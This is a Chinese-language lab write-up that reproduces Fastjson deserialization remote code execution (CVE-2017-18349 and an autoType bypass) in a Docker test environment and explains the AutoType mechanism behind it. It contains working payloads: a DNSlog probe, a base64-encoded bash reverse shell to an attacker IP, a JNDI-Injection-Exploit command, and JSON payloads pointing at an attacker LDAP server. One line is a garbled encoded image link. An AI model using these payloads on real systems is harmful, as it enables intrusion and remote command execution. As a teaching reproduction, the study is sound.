Fastjson 漏洞复现
前言
遇到问题可以先看注意事项!!!
1.2.47-rce
漏洞编号:CVE-2017-18349
搭建环境
开启环境
1 2 3 4 | docker compose up -d
docker ps
|

出现这种页面就搭建成功了

Fastjson 特征
报错回显
先把get包改为post,把Content-Type类型改成application/json,添加请求体。反回包里面会有报错信息(这个报错信息是可以被开发者屏蔽的)。
注:下面的包删除了多余的内容
POST / HTTP/1.1
Host: 192.168.64.10:8090
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Connection: keep-alive
Content-Type: application/json
Content-Length: 11
{"test":"

DNSlog盲打
payload
1 | { "xxx" :{ "@type" : "java.net.InetAddress" , "val" : "5eb01a76.log.cdncache.rr.nu." }}
|
注意改请求方式和Content-Type类型。

漏洞利用
我这里采用的是JNDI-Injection-Exploit工具,直接生成的jndi注入的命令。如果想看手工注入可以参考这篇文章。
反弹shell
1 2 3 4 5 6 7 8 | bash -i >& /dev/tcp/10 .201.65.180 /9932 0>&1
YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4yMDEuNjUuMTgwLzk5MzIgMD4mMQ==
bash -c { echo ,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4yMDEuNjUuMTgwLzk5MzIgMD4mMQ==}|{base64,-d}|{ bash ,-i}
|
工具一把梭
1 2 3 4 5 | java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar [-C] [ command ] [-A] [address]
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C " bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4yMDEuNjUuMTgwLzk5MzIgMD4mMQ==}|{base64,-d}|{bash,-i}" -A "10.201.65.180"
|
红色部分的payload挨着尝试就行了。

完整payload
{
"b":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"ldap://10.201.65.180:1389/xbc51m",
"autoCommit":true
}
}
效果:
bp返回的是500,但是已经成功反弹shell


1.2.47-rce
漏洞编号:CNVD‐2019‐22238
环境搭建和上面相同,直接开始漏洞利用。
差异
先用刚才的payload再打一遍,显示目标明确提示 autoType 被禁用,这条攻击链无法继续。

漏洞利用
目标环境是openjdk:8u102,这个版本没有com.sun.jndi.rmi.object.trustURLCodebase的限制,我们可以简单利用RMI进行命令执行。
还是直接利用上面工具生成的jndi注入payload。
完整payload
{
"a":{
"@type":"java.lang.Class",
"val":"com.sun.rowset.JdbcRowSetImpl"
},
"b":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"ldap://10.201.65.180:1389/xbc51m",
"autoCommit":true
}
}
效果


漏洞原理
json概述
JSON 是一种轻量级的数据交换格式,全称是 JavaScript Object Notation。它使用**键值对(key-value)**的结构表示数据,易于人阅读和编写,也易于机器解析和生成。
虽然起源于 JavaScript,但现在已经成为编程语言之间通信的通用格式,比如在前后端之间传输数据、配置文件、接口请求等场景中广泛使用。
josn示例:
{
"name": "Alice",
"age": 25,
"isStudent": false,
"skills": ["Java", "Python", "C++"],
"address": {
"city": "Beijing",
"zip": "100000"
}
}
fastjosn概述
Fastjson 是由阿里巴巴开发的一个开源 Java 类库,广泛用于将 Java 对象转换为 JSON(序列化),以及将 JSON 字符串转换为 Java 对象(反序列化)。它支持操作任意 Java 对象,甚至包括一些没有源码的系统类或第三方类,这也成为其安全漏洞的根源之一。由于使用简单、性能优秀,Fastjson 在实际开发中应用非常广泛。
fastjson序列化
Fastjson 其本质是通过将 JSON 字符串与 Java 对象之间进行序列化与反序列化转换。在设计上,它没有使用 Java 原生的序列化机制,而是自定义了基于属性或方法的转换方式。为了在反序列化时准确还原对象的真实类型,Fastjson 引入了 AutoType 功能,即通过 JSON 中的 @type
字段,记录对象的具体类名,从而支持多态还原。
比如我们有如下两个类:
1 2 3 4 5 6 7 8 9 | class Dog implements Animal {
private String name;
private int age;
}
class Cat implements Animal {
private String name;
private int age;
}
|
假设使用的是基于接口 Animal
的序列化方式,如果我们将一个 Dog 对象和一个 Cat 对象分别序列化为 JSON,得到的可能都是:
{"Animal":{"name":"Tom","age":2}}
由于父类/接口会“抹去”具体子类信息,导致反序列化时无法判断该对象到底是 Dog 还是 Cat。
为了解决这个问题,Fastjson 引入了 AutoType 机制,在序列化时加上 @type
字段,例如:
{
"animal": {
"@type": "com.example.model.Dog",
"name": "Tom",
"age": 2
}
}
fastjson反序列化漏洞
然而,也正是 Fastjson 引入 AutoType 功能的设计,给攻击者提供了反序列化漏洞的利用入口。当用户反序列化不可信的 JSON 数据且没有禁用 AutoType 功能时,攻击者可以通过精心构造的 JSON 数据,利用 @type
字段指定恶意类,并触发该类的实例化过程。在实例化的过程中,Fastjson 会调用该类的 setter 或构造方法,这就可能导致恶意代码的执行。Fastjson 的漏洞本质上仍是典型的 Java 反序列化问题,危险性来源于类实例化和方法调用的开放性,以及不加限制的 AutoType 使用。
Fastjson 的 AutoType 功能通过在 JSON 字符串中加入 @type
字段来标记对象的真实类型。当 Fastjson 进行反序列化时,会读取这个 @type
字段并尝试将 JSON 数据转换为指定的 Java 对象,随后调用对象的 setter 或 getter 方法。然而,如果 @type
指定了恶意构造的类,那么反序列化过程中就可能触发安全漏洞。攻击者可以通过这种方式构造 JSON 数据,指定恶意类,进而实现远程代码执行或其他攻击行为。
注意事项
使用dnslog平台前先用靶机ping dns地址,测试网络连通性
测试fastjson漏洞,最外层一定是数组或者对象,不要加@type,然后将Payload作为其中一个键值。
1 | { "xxx" : { "@type" : "java.net.InetAddress" , "val" : "dnslog" }}
|
原因是,有的开发在使用fastjson解析请求时会使用Spring的@RequestBody注释,告诉解析引擎,我需要的是一个User类对象(其实就可以理解为JSON中不加@type的普通对象)。
这时候你传入的是{"@type":"java.net.Inet4Address","val":"xxxxx"}
,相当于给到他的是java.net.Inet4Address对象,所以会爆出一个type not match的异常。
9J5k6h3y4G2L8g2)9J5c8Y4S2A6j5h3!0Q4x3X3c8@1j5h3&6Y4i4K6u0V1M7$3q4F1i4K6u0r3M7r3W2U0L8#2)9J5c8Y4u0S2N6#2)9J5c8X3#2S2M7%4c8W2M7W2)9J5c8W2!0q4y4W2)9^5z5q4!0m8b7g2!0q4y4g2!0n7x3g2)9^5c8U0t1H3x3U0g2Q4x3X3b7H3y4q4)9J5k6o6p5%4 12.00.08.png)
- 如果靶机是本机,IP地址可能会变动。
最后于 4小时前
被_Poseidon编辑
,原因: